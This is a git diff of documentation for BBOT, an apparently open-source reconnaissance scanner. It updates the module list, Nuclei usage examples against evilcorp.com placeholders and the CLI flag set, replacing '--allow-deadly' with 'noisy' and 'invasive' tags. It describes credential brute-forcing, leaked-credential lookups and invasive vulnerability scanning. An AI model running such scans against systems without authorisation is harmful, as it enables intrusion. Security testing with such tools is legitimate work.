gitlab_com | scan | No | Enumerate GitLab SaaS (gitlab.com/org) for projects and groups | active, code-enum | SOCIAL | CODE_REPOSITORY | @TheTechromancer | 2024-03-11 | +| gitlab_onprem | scan | No | Detect self-hosted GitLab instances and query them for repositories | active, code-enum | HTTP_RESPONSE, SOCIAL, TECHNOLOGY | CODE_REPOSITORY, FINDING, SOCIAL, TECHNOLOGY | @TheTechromancer | 2024-03-11 | +| gowitness | scan | No | Take screenshots of webpages | active, web-screenshots | SOCIAL, URL | TECHNOLOGY, URL, URL_UNVERIFIED, WEBSCREENSHOT | @TheTechromancer | 2022-07-08 | +| graphql_introspection | scan | No | Perform GraphQL introspection on a target | active, web | URL | FINDING | @mukesh-dream11 | 2025-07-01 | +| host_header | scan | No | Try common HTTP Host header spoofing techniques | active, noisy, web-heavy | HTTP_RESPONSE | FINDING | @liquidsec | 2022-07-27 | +| httpx | scan | No | Visit webpages. Many other modules rely on httpx | active, cloud-enum, social-enum, subdomain-enum, web | OPEN_TCP_PORT, URL, URL_UNVERIFIED | HTTP_RESPONSE, URL | @TheTechromancer | 2022-07-08 | +| hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | +| iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, web | URL | URL_HINT | @liquidsec | 2022-04-15 | +| legba | scan | No | Credential bruteforcing supporting various services. | active, invasive, noisy | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | +| lightfuzz | scan | No | Find Web Parameters and Lightly Fuzz them using a heuristic based scanner | active, invasive, noisy, web-heavy | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | +| medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, invasive, noisy | PROTOCOL | FINDING | @christianfl | 2025-05-16 | +| newsletters | scan | No | Searches for Newsletter Submission Entry Fields on Websites | active | HTTP_RESPONSE | FINDING | @stryker2k2 | 2024-02-02 | +| ntlm | scan | No | Watch for HTTP endpoints that support NTLM authentication | active, web | HTTP_RESPONSE, URL | DNS_NAME, FINDING | @liquidsec | 2022-07-25 | +| nuclei | scan | No | Fast and customisable vulnerability scanner | active, invasive, noisy | URL | FINDING, TECHNOLOGY | @TheTechromancer | 2022-03-12 | +| oauth | scan | No | Enumerate OAUTH and OpenID Connect services | active, affiliates, cloud-enum, subdomain-enum, web | DNS_NAME, URL_UNVERIFIED | DNS_NAME | @TheTechromancer | 2023-07-12 | +| paramminer_cookies | scan | No | Smart brute-force to check for common HTTP cookie parameters | active, noisy, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-27 | +| paramminer_getparams | scan | No | Use smart brute-force to check for common HTTP GET parameters | active, noisy, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-28 | +| paramminer_headers | scan | No | Use smart brute-force to check for common HTTP header parameters | active, noisy, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-04-15 | +| portscan | scan | No | Port scan with masscan. By default, scans top 100 ports. | active, portscan | DNS_NAME, IP_ADDRESS, IP_RANGE | OPEN_TCP_PORT | @TheTechromancer | 2024-05-15 | +| reflected_parameters | scan | No | Highlight parameters that reflect their contents in response body | active, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2024-10-29 | +| retirejs | scan | No | Detect vulnerable/out-of-date JavaScript libraries | active, web-heavy | URL_UNVERIFIED | FINDING | @liquidsec | 2025-08-19 | +| robots | scan | No | Look for and parse robots.txt | active, web | URL | URL_UNVERIFIED | @liquidsec | 2023-02-01 | +| securitytxt | scan | No | Check for security.txt content | active, cloud-enum, subdomain-enum, web | DNS_NAME | EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | +| smuggler | scan | No | Check for HTTP smuggling | active, invasive, noisy, slow, web-heavy | URL | FINDING | @liquidsec | 2022-07-06 | +| sslcert | scan | No | Visit open ports and retrieve SSL certificates | active, affiliates, email-enum, subdomain-enum, web | OPEN_TCP_PORT | DNS_NAME, EMAIL_ADDRESS | @TheTechromancer | 2022-03-30 | +| telerik | scan | No | Scan for critical Telerik vulnerabilities | active, invasive, noisy, web-heavy | HTTP_RESPONSE, URL | FINDING | @liquidsec | 2022-04-10 | +| url_manipulation | scan | No | Attempt to identify URL parsing/routing based vulnerabilities | active, noisy, web-heavy | URL | FINDING | @liquidsec | 2022-09-27 | +| wafw00f | scan | No | Web Application Firewall Fingerprinting Tool | active, noisy | URL | WAF | @liquidsec | 2023-02-15 | +| wpscan | scan | No | Wordpress security scanner. Highly recommended to use an API key for better results. | active, noisy | HTTP_RESPONSE, TECHNOLOGY | FINDING, TECHNOLOGY, URL_UNVERIFIED | @domwhewell-sage | 2024-05-29 | +| affiliates | scan | No | Summarize affiliate domains at the end of a scan | affiliates, passive | * | | @TheTechromancer | 2022-07-25 | +| anubisdb | scan | No | Query jldc.me's database for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-10-04 | +| apkpure | scan | No | Download android applications from apkpure.com | code-enum, download, passive | MOBILE_APP | FILESYSTEM | @domwhewell-sage | 2024-10-11 | +| asn | scan | No | Query asndb for ASN information | passive, subdomain-enum | IP_ADDRESS | ASN | @TheTechromancer | 2022-07-25 | +| azure_tenant | scan | No | Query Azure for tenant information using multiple enumeration methods | affiliates, cloud-enum, passive, subdomain-enum | DNS_NAME | AZURE_TENANT, DNS_NAME, FINDING, URL_UNVERIFIED | @TheTechromancer | 2024-07-04 | +| bevigil | scan | Yes | Retrieve OSINT data from mobile applications using BeVigil | passive, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @alt-glitch | 2022-10-26 | +| bucket_file_enum | scan | No | Works in conjunction with the filedownload module to download files from open storage buckets. Currently supported cloud providers: AWS, DigitalOcean | cloud-enum, passive | STORAGE_BUCKET | URL_UNVERIFIED | @TheTechromancer | 2023-11-14 | +| bufferoverrun | scan | Yes | Query BufferOverrun's TLS API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-10-23 | +| builtwith | scan | Yes | Query Builtwith.com for subdomains | affiliates, passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-23 | +| c99 | scan | Yes | Query the C99 API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-08 | +| censys_dns | scan | Yes | Query the Censys API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-04 | +| censys_ip | scan | Yes | Query the Censys API for hosts by IP address | passive | IP_ADDRESS | DNS_NAME, IP_ADDRESS, OPEN_TCP_PORT, OPEN_UDP_PORT, PROTOCOL, TECHNOLOGY, URL_UNVERIFIED | @TheTechromancer | 2026-01-26 | +| certspotter | scan | No | Query Certspotter's API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-28 | +| chaos | scan | Yes | Query ProjectDiscovery's Chaos API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-14 | +| code_repository | scan | No | Look for code repository links in webpages | code-enum, passive | URL_UNVERIFIED | CODE_REPOSITORY | @domwhewell-sage | 2024-05-15 | +| credshed | scan | Yes | Send queries to your own credshed server to check for known credentials of your targets | passive | DNS_NAME | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME | @SpamFaux | 2023-10-12 | +| crt | scan | No | Query crt.sh (certificate transparency) for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-13 | +| crt_db | scan | No | Query crt.sh (certificate transparency) for subdomains via PostgreSQL | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2025-03-27 | +| dehashed | scan | Yes | Execute queries against dehashed.com for exposed credentials | email-enum, passive | DNS_NAME | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME | @SpamFaux | 2023-10-12 | +| digitorus | scan | No | Query certificatedetails.com for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-25 | +| dnsbimi | scan | No | Check DNS_NAME's for BIMI records to find image and certificate hosting URL's | cloud-enum, passive, subdomain-enum | DNS_NAME | RAW_DNS_RECORD, URL_UNVERIFIED | @colin-stubbs | 2024-11-15 | +| dnscaa | scan | No | Check for CAA records | email-enum, passive, subdomain-enum | DNS_NAME | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | +| dnsdumpster | scan | No | Query dnsdumpster for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-03-12 | +| dnstlsrpt | scan | No | Check for TLS-RPT records | cloud-enum, email-enum, passive, subdomain-enum | DNS_NAME | EMAIL_ADDRESS, RAW_DNS_RECORD, URL_UNVERIFIED | @colin-stubbs | 2024-07-26 | +| docker_pull | scan | No | Download images from a docker repository | code-enum, download, passive, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-24 | +| dockerhub | scan | No | Search for docker repositories of discovered orgs/usernames | code-enum, passive | ORG_STUB, SOCIAL | CODE_REPOSITORY, SOCIAL, URL_UNVERIFIED | @domwhewell-sage | 2024-03-12 | +| emailformat | scan | No | Query email-format.com for email addresses | email-enum, passive | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | +| fullhunt | scan | Yes | Query the fullhunt.io API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | +| git_clone | scan | No | Clone code github repositories | code-enum, download, passive, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-08 | +| gitdumper | scan | No | Download a leaked .git folder recursively or by fuzzing common names | code-enum, download, passive, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2025-02-11 | +| github_codesearch | scan | Yes | Query Github's API for code containing the target domain name | code-enum, passive, subdomain-enum | DNS_NAME | CODE_REPOSITORY, URL_UNVERIFIED | @domwhewell-sage | 2023-12-14 | +| github_org | scan | No | Query Github's API for organization and member repositories | code-enum, passive, subdomain-enum | ORG_STUB, SOCIAL | CODE_REPOSITORY | @domwhewell-sage | 2023-12-14 | +| github_usersearch | scan | Yes | Query Github's API for users with emails matching in scope domains that may not be discoverable by listing members of the organization. | code-enum, passive | DNS_NAME | EMAIL_ADDRESS, SOCIAL | @domwhewell-sage | 2025-05-10 | +| github_workflows | scan | Yes | Download a github repositories workflow logs and workflow artifacts | code-enum, download, passive | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-04-29 | +| google_playstore | scan | No | Search for android applications on play.google.com | code-enum, passive | CODE_REPOSITORY, ORG_STUB | MOBILE_APP | @domwhewell-sage | 2024-10-08 | +| hackertarget | scan | No | Query the hackertarget.com API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-28 | +| hunterio | scan | Yes | Query hunter.io for emails | email-enum, passive, subdomain-enum | DNS_NAME | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED | @TheTechromancer | 2022-04-25 | +| ip2location | scan | Yes | Query IP2location.io's API for geolocation information. | passive | IP_ADDRESS | GEOLOCATION | @TheTechromancer | 2023-09-12 | +| ipneighbor | scan | No | Look beside IPs in their surrounding subnet | noisy, passive, subdomain-enum | IP_ADDRESS | IP_ADDRESS | @TheTechromancer | 2022-06-08 | +| ipstack | scan | Yes | Query IPStack's GeoIP API | passive | IP_ADDRESS | GEOLOCATION | @tycoonslive | 2022-11-26 | +| jadx | scan | No | Decompile APKs and XAPKs using JADX | code-enum, passive | FILESYSTEM | FILESYSTEM | @domwhewell-sage | 2024-11-04 | +| kreuzberg | scan | No | Module to extract data from files | passive | FILESYSTEM | RAW_TEXT | @domwhewell-sage | 2024-06-03 | +| leakix | scan | No | Query leakix.net for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-11 | +| myssl | scan | No | Query myssl.com's API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-10 | +| otx | scan | Yes | Query otx.alienvault.com for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | +| passivetotal | scan | Yes | Query the PassiveTotal API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-08 | +| pgp | scan | No | Query common PGP servers for email addresses | email-enum, passive | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-08-10 | +| portfilter | scan | No | Filter out unwanted open ports from cloud/CDN targets | passive | OPEN_TCP_PORT, URL, URL_UNVERIFIED | | @TheTechromancer | 2025-01-06 | +| postman | scan | No | Query Postman's API for related workspaces, collections, requests and download them | code-enum, passive, subdomain-enum | ORG_STUB, SOCIAL | CODE_REPOSITORY | @domwhewell-sage | 2024-09-07 | +| postman_download | scan | No | Download workspaces, collections, requests from Postman | code-enum, download, passive, subdomain-enum | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-09-07 | +| rapiddns | scan | No | Query rapiddns.io for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | +| securitytrails | scan | Yes | Query the SecurityTrails API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | +| shodan_dns | scan | Yes | Query Shodan for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | +| shodan_enterprise | scan | Yes | Shodan Enterprise API integration module. | passive | IP_ADDRESS | FINDING, OPEN_TCP_PORT, OPEN_UDP_PORT, TECHNOLOGY | @Control-Punk-Delete | 2026-01-27 | +| shodan_idb | scan | No | Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities | passive, portscan, subdomain-enum | DNS_NAME, IP_ADDRESS | DNS_NAME, FINDING, OPEN_TCP_PORT, TECHNOLOGY | @TheTechromancer | 2023-12-22 | +| sitedossier | scan | No | Query sitedossier.com for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-08-04 | +| skymem | scan | No | Query skymem.info for email addresses | email-enum, passive | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | +| social | scan | No | Look for social media links in webpages | passive, social-enum | URL_UNVERIFIED | SOCIAL | @TheTechromancer | 2023-03-28 | +| subdomaincenter | scan | No | Query subdomain.center's API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-26 | +| subdomainradar | scan | Yes | Query the Subdomain API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-08 | +| trajan | scan | No | Scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations using Praetorian's Trajan tool | code-enum, passive | CODE_REPOSITORY, TECHNOLOGY, URL_UNVERIFIED | FINDING | @N7WERA | 2026-04-11 | +| trickest | scan | Yes | Query Trickest's API for subdomains | affiliates, passive, subdomain-enum | DNS_NAME | DNS_NAME | @amiremami | 2024-07-27 | +| trufflehog | scan | No | TruffleHog is a tool for finding credentials | code-enum, passive | CODE_REPOSITORY, FILESYSTEM, HTTP_RESPONSE, RAW_TEXT | FINDING | @domwhewell-sage | 2024-03-12 | +| urlscan | scan | No | Query urlscan.io for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @TheTechromancer | 2022-06-09 | +| viewdns | scan | No | Query viewdns.info's reverse whois for related domains | affiliates, passive | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-04 | +| virustotal | scan | Yes | Query VirusTotal's API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-25 | +| wayback | scan | No | Query archive.org's API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @liquidsec | 2022-04-01 | +| asset_inventory | output | No | Merge hosts, open ports, technologies, findings, etc. into a single asset inventory CSV | | DNS_NAME, FINDING, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, TECHNOLOGY, URL, WAF | IP_ADDRESS, OPEN_TCP_PORT | @liquidsec | 2022-09-30 | +| csv | output | No | Output to CSV | | * | | @TheTechromancer | 2022-04-07 | +| discord | output | No | Message a Discord channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | +| elastic | output | No | Send scan results to Elasticsearch | | * | | @TheTechromancer | 2022-11-21 | +| emails | output | No | Output any email addresses found belonging to the target domain | email-enum | EMAIL_ADDRESS | | @domwhewell-sage | 2023-12-23 | +| http | output | No | Send every event to a custom URL via a web request | | * | | @TheTechromancer | 2022-04-13 | +| json | output | No | Output to Newline-Delimited JSON (NDJSON) | | * | | @TheTechromancer | 2022-04-07 | +| kafka | output | No | Output scan data to a Kafka topic | | * | | @TheTechromancer | 2024-11-22 | +| mongo | output | No | Output scan data to a MongoDB database | | * | | @TheTechromancer | 2024-11-17 | +| mysql | output | No | Output scan data to a MySQL database | | * | | @TheTechromancer | 2024-11-13 | +| nats | output | No | Output scan data to a NATS subject | | * | | @TheTechromancer | 2024-11-22 | +| neo4j | output | No | Output to Neo4j | | * | | @TheTechromancer | 2022-04-07 | +| nmap_xml | output | No | Output to Nmap XML | | DNS_NAME, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, PROTOCOL | | @TheTechromancer | 2024-11-16 | +| postgres | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-08 | +| python | output | No | Output via Python API | | * | | @TheTechromancer | 2022-09-13 | +| rabbitmq | output | No | Output scan data to a RabbitMQ queue | | * | | @TheTechromancer | 2024-11-22 | +| slack | output | No | Message a Slack channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | +| splunk | output | No | Send every event to a splunk instance through HTTP Event Collector | | * | | @w0Tx | 2024-02-17 | +| sqlite | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-07 | +| stdout | output | No | Output to text | | * | | @TheTechromancer | 2024-04-03 | +| subdomains | output | No | Output only resolved, in-scope subdomains | subdomain-enum | DNS_NAME, DNS_NAME_UNRESOLVED | | @TheTechromancer | 2023-07-31 | +| teams | output | No | Message a Teams channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | +| txt | output | No | Output to text | | * | | @TheTechromancer | 2024-04-03 | +| web_parameters | output | No | Output WEB_PARAMETER names to a file | | WEB_PARAMETER | | @liquidsec | 2025-01-25 | +| web_report | output | No | Create a markdown report with web assets | | FINDING, TECHNOLOGY, URL, VHOST | | @liquidsec | 2023-02-08 | +| websocket | output | No | Output to websockets | | * | | @TheTechromancer | 2022-04-15 | +| zeromq | output | No | Output scan data to a ZeroMQ socket (PUB) | | * | | @TheTechromancer | 2024-11-22 | +| cloudcheck | internal | No | Tag events by cloud provider, identify cloud resources like storage buckets | | * | | @TheTechromancer | 2024-07-07 | +| dnsresolve | internal | No | Perform DNS resolution | | * | DNS_NAME, IP_ADDRESS, RAW_DNS_RECORD | @TheTechromancer | 2022-04-08 | +| aggregate | internal | No | Summarize statistics at the end of a scan | passive | | | @TheTechromancer | 2022-07-25 | +| excavate | internal | No | Passively extract juicy tidbits from scan data | passive | HTTP_RESPONSE, RAW_TEXT | URL_UNVERIFIED, WEB_PARAMETER | @liquidsec | 2022-06-27 | +| speculate | internal | No | Derive certain event types from others by common sense | passive | AZURE_TENANT, DNS_NAME, DNS_NAME_UNRESOLVED, HTTP_RESPONSE, IP_ADDRESS, IP_RANGE, SOCIAL, STORAGE_BUCKET, URL, URL_UNVERIFIED, USERNAME | DNS_NAME, FINDING, IP_ADDRESS, OPEN_TCP_PORT, ORG_STUB | @liquidsec | 2022-05-03 | +| unarchive | internal | No | Extract different types of files into folders on the filesystem | passive | FILESYSTEM | FILESYSTEM | @domwhewell-sage | 2024-12-08 | For a list of module config options, see [Module Options](../scanning/configuration.md#module-config-options). diff --git a/docs/modules/nuclei.md b/docs/modules/nuclei.md index 3ef37fdd29..31cfb6fe4a 100644 --- a/docs/modules/nuclei.md +++ b/docs/modules/nuclei.md @@ -13,7 +13,7 @@ BBOT integrates with [Nuclei](https://github.com/projectdiscovery/nuclei), an op ## Default Behavior * By default, only "directory URLs" (URLs ending in a slash) will be scanned, but ALL templates will be used (**BE CAREFUL!**) -* Because it's so aggressive, Nuclei is considered a **deadly** module. This means you need to use the flag **--allow-deadly** to turn it on. +* Because it's aggressive and potentially destructive, Nuclei is tagged as both **noisy** and **invasive**. BBOT will warn you before starting the scan, but no special flag is needed to enable it. ## Specifying custom templates @@ -51,7 +51,7 @@ The Nuclei module has many configuration options: | modules.nuclei.silent | bool | Don't display nuclei's banner or status messages | False | | modules.nuclei.tags | str | execute a subset of templates that contain the provided tags | | | modules.nuclei.templates | str | template or template directory paths to include in the scan | | -| modules.nuclei.version | str | nuclei version | 3.7.0 | +| modules.nuclei.version | str | nuclei version | 3.7.1 | Most of these you probably will **NOT** want to change. In particular, we advise against changing the version of Nuclei, as it's possible the latest version won't work right with BBOT. @@ -103,20 +103,20 @@ The **ratelimit** and **concurrency** settings default to the same defaults that ```bash # Scan a SINGLE target with a basic port scan and web modules -bbot -f web-basic -m portscan nuclei --allow-deadly -t app.evilcorp.com +bbot -f web -m portscan nuclei -t app.evilcorp.com ``` ```bash # Scanning MULTIPLE targets -bbot -f web-basic -m portscan nuclei --allow-deadly -t app1.evilcorp.com app2.evilcorp.com app3.evilcorp.com +bbot -f web -m portscan nuclei -t app1.evilcorp.com app2.evilcorp.com app3.evilcorp.com ``` ```bash # Scanning MULTIPLE targets while performing subdomain enumeration -bbot -f subdomain-enum web-basic -m portscan nuclei --allow-deadly -t app1.evilcorp.com app2.evilcorp.com app3.evilcorp.com +bbot -f subdomain-enum web -m portscan nuclei -t app1.evilcorp.com app2.evilcorp.com app3.evilcorp.com ``` ```bash # Scanning MULTIPLE targets on a BUDGET -bbot -f subdomain-enum web-basic -m portscan nuclei --allow-deadly -c modules.nuclei.mode=budget -t app1.evilcorp.com app2.evilcorp.com app3.evilcorp.com +bbot -f subdomain-enum web -m portscan nuclei -c modules.nuclei.mode=budget -t app1.evilcorp.com app2.evilcorp.com app3.evilcorp.com ``` diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 120b3e0bc1..e0a2ba6e71 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -37,13 +37,13 @@ usage: bbot [-h] [-t TARGET [TARGET ...]] [-s SEEDS [SEEDS ...]] [-p [PRESET ...]] [-c [CONFIG ...]] [-lp] [-m MODULE [MODULE ...]] [-l] [-lmo] [-em MODULE [MODULE ...]] [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] - [-ef FLAG [FLAG ...]] [--allow-deadly] [-n SCAN_NAME] [-v] [-d] - [-S] [--force] [-y] [--fast-mode] [--dry-run] - [--current-preset] [--current-preset-full] [-mh MODULE] - [-o DIR] [-om MODULE [MODULE ...]] [-lo] [--json] [--brief] + [-ef FLAG [FLAG ...]] [-n SCAN_NAME] [-v] [-d] [-S] [--force] + [-y] [--fast-mode] [--dry-run] [--current-preset] + [--current-preset-full] [-mh MODULE] [-o DIR] + [-om MODULE [MODULE ...]] [-lo] [--json] [--brief] [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--exclude-cdn] - [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps | --install-all-deps] - [--version] [--proxy HTTP_PROXY] + [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps] + [--install-all-deps] [--version] [--proxy HTTP_PROXY] [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [-C CUSTOM_COOKIES [CUSTOM_COOKIES ...]] [--custom-yara-rules CUSTOM_YARA_RULES] @@ -72,20 +72,19 @@ Presets: Modules: -m MODULE [MODULE ...], --modules MODULE [MODULE ...] - Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trickest,trufflehog,url_manipulation,urlscan,vhost,viewdns,virustotal,wafw00f,wayback,wpscan + Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virustotal,wafw00f,wayback,wpscan -l, --list-modules List available modules. -lmo, --list-module-options Show all module config options -em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...] Exclude these modules. -f FLAG [FLAG ...], --flags FLAG [FLAG ...] - Enable modules by flag. Choices: active,affiliates,aggressive,baddns,cloud-enum,code-enum,deadly,download,email-enum,iis-shortnames,passive,portscan,safe,service-enum,slow,social-enum,subdomain-enum,subdomain-hijack,web-basic,web-paramminer,web-screenshots,web-thorough + Enable modules by flag. Choices: active,affiliates,baddns,cloud-enum,code-enum,download,email-enum,iis-shortnames,invasive,noisy,passive,portscan,service-enum,slow,social-enum,subdomain-enum,subdomain-hijack,web,web-heavy,web-paramminer,web-screenshots -lf, --list-flags List available flags. -rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...] Only enable modules with these flags (e.g. -rf passive) -ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...] - Disable modules with these flags. (e.g. -ef aggressive) - --allow-deadly Enable the use of highly aggressive modules + Disable modules with these flags. (e.g. -ef noisy) Scan: -n SCAN_NAME, --name SCAN_NAME @@ -151,7 +150,7 @@ EXAMPLES bbot -t evilcorp.com -p subdomain-enum -m portscan gowitness -n my_scan -o . Subdomains + basic web scan: - bbot -t evilcorp.com -p subdomain-enum web-basic + bbot -t evilcorp.com -p subdomain-enum web Web spider: bbot -t www.evilcorp.com -p spider -c web.spider_distance=2 web.spider_depth=2 diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index b49c7e6f31..49a5ae1fb0 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -83,7 +83,7 @@ folder_blobs: false scope: # strict scope means only exact DNS names are considered in-scope - # their subdomains are not included unless explicitly whitelisted + # their subdomains are not included unless explicitly added to the target strict: false # Filter by scope distance which events are displayed in the output # 0 == show only in-scope events (affiliates are always shown) @@ -96,7 +96,7 @@ scope: ### DNS ### dns: - # Completely disable DNS resolution (careful if you have IP whitelists/blacklists, consider using minimal=true instead) + # Completely disable DNS resolution (careful if you have IP targets/blacklists, consider using minimal=true instead) disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false @@ -409,7 +409,6 @@ In addition to the stated options for each module, the following universal optio | modules.filedownload.output_folder | str | Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage. | | | modules.fingerprintx.skip_common_web | bool | Skip common web ports such as 80, 443, 8080, 8443, etc. | True | | modules.fingerprintx.version | str | fingerprintx version | 1.1.4 | -| modules.generic_ssrf.skip_dns_interaction | bool | Do not report DNS interactions (only HTTP interaction) | False | | modules.gitlab_com.api_key | str | GitLab access token (for gitlab.com/org only) | | | modules.gitlab_onprem.api_key | str | GitLab access token (for self-hosted instances only) | | | modules.gowitness.chrome_path | str | Path to chrome executable | | @@ -467,7 +466,7 @@ In addition to the stated options for each module, the following universal optio | 